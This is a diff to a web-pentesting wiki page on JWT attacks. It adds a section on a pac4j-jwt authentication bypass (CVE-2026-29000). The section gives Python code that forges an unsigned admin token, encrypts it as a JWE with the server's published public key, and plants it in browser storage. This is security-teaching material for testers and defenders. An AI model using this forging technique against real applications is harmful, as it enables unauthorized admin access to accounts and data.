diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 8db8172a410..2e427b0263a 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -96,6 +96,53 @@ Set the algorithm used as "None" and remove the signature part. Use the Burp extension call "JSON Web Token" to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the "JSON Web Token" tab you can modify the values of the token. You can also select to put the value of the "Alg" field to "None"). +### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000) + +Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped. + +- **Pre-reqs**: + - The application accepts **JWE bearer tokens** + - The server public key is exposed (commonly via **JWKS** such as `/.well-known/jwks.json` or `/api/auth/jwks`) + - Authorization depends on attacker-controlled claims such as `sub`, `role`, `groups`, or `scope` +- **Impact**: forge an encrypted token for any user/role using **only the public key** + +Practical checks: + +- Enumerate the frontend / API docs for clues such as `RSA-OAEP-256`, `A128GCM`/`A256GCM`, `jwks`, or comments saying "inner JWT is signed". +- Fetch the JWKS and import the RSA key from `n`/`e`. +- Build the inner token manually as `base64url(header) + "." + base64url(payload) + "."` so the signature is empty. +- Encrypt that plaintext JWT as a JWE using the exposed public key and replay it as the bearer token. + +Minimal PlainJWT construction: + +```python +header = {"alg": "none"} +claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"} +b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=") +plain = ( + f"{b64(json.dumps(header, separators=(',', ':')).encode())}." + f"{b64(json.dumps(claims, separators=(',', ':')).encode())}." +) +``` + +Encrypt it into a compact JWE with the RSA public key from JWKS: + +```python +rsa_key = jwk.JWK(**jwks["keys"][0]) +token = jwe.JWE( + plaintext=plain.encode(), + protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}), + recipient=rsa_key, +) +forged = token.serialize(compact=True) +``` + +Notes: + +- If your JWT library refuses to emit `alg=none`, generate the compact token manually as shown above. +- The `enc` value must match one accepted by the target; frontend comments and legitimate tokens often disclose this. +- In SPAs, check whether the bearer token is stored in `sessionStorage`, `localStorage`, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly. + ### Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555) The algorithm HS256 uses the secret key to sign and verify each message.\ @@ -322,5 +369,7 @@ https://github.com/ticarpi/jwt_tool - [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) - [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) - [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) +- [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) +- [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) {{#include ../banners/hacktricks-training.md}}